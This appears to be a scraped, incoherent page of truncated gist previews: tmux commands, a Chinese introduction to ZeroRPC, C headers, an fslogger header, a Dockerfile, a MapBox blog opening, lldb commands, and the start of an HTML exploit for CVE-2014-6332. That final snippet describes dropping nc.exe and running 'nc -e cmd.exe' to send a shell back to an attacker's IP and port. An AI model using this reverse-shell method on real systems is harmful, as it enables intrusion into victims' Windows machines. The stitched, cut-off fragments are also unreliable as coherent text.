start new:
tmux
start new with session name:
tmux new -s myname
分布式系统的核心是分布式通信,而传统上开发一套支持上千台规模集群,可靠性非常高的分布式通信框架,需要不少的精力投入。而在多数情景下,我们(特别是时间宝贵的OP)并不是非常关注技术实现的细节,而是希望有一套成熟、轻量、可靠性高、使用方便而且易于调试的分布式通信框架,可以直接使用,从而把时间放在具体业务逻辑上。
在PyCon 2012大会上,dotcloud公司开源了一套基于ZeroMQ和MessagePack的分布式通信框架(或者说是协议+Python实现)。该框架因为基于ZeroMQ,使用方法是RPC,所以被命名为ZeroRPC。ZeroRPC的特点在其官网的介绍中一目了然[1]:
ZeroRPC is a light-weight, reliable and language-agnostic library for distributed communication between server-side processes.
#include <stdio.h> | |
#include <stdlib.h> | |
#include <unistd.h> | |
#include <string> | |
#include <grp.h> | |
#include <sys/user.h> | |
#include <assert.h> | |
// mach | |
#include <mach/mach.h> | |
#include <mach/mach_init.h> |
/* | |
* fslogger.c | |
* | |
* A patched version of Amit Singh's fslogger utility, which logs file system | |
* events in OS X. | |
* | |
* This version fixes a small bug where four characters were missing from | |
* the beginning of each file path. It also eliminates a compiler warning. | |
* | |
* To compile: |
The instructions here are useful although the current packages in Arch and Debian repositories do not work with iOS 7 (Trust Loop Bug) but it is still a good starting point to understand how this works.
# using VirtualBox version $VBOX_VERSION | |
FROM boot2docker/boot2docker | |
RUN apt-get install p7zip-full | |
RUN mkdir -p /vboxguest && \ | |
cd /vboxguest && \ | |
curl -L -o vboxguest.iso http://download.virtualbox.org/virtualbox/$VBOX_VERSION/VBoxGuestAdditions_$VBOX_VERSION.iso && \ | |
7z x vboxguest.iso -ir'!VBoxLinuxAdditions.run' && \ | |
sh VBoxLinuxAdditions.run --noexec --target . && \ |
I recently made my first map with MapBox's new WebGL+JavaScript API. There aren't many examples of how to do this yet, even on MapBox's API page, so I'll document my own experience here.
My map is made of several textures taken from Van Gogh paintings. The long-term goal is to allow a user to select which artworks they want to take textures from, but for now there is just one setting.
A complete gdb to lldb command map.
(lldb) po responseObject
(lldb) po [responseObject objectForKey@"state"]
<html> | |
<head> | |
<!-- | |
CVE-2014-6332 exploit to bypass IE protected mode if enabled (with localhost) then get shell | |
The exploit drops nc.exe then execute "nc -e cmd.exe -n ip port" | |
'server_ip' and 'server_port' in javascript below determined the connect back target | |
Tested on | |
- IE11 + Windows 7 64-bit (EPM is off) | |
- IE11 + Windoes 8.1 64-bit (EPM is off) |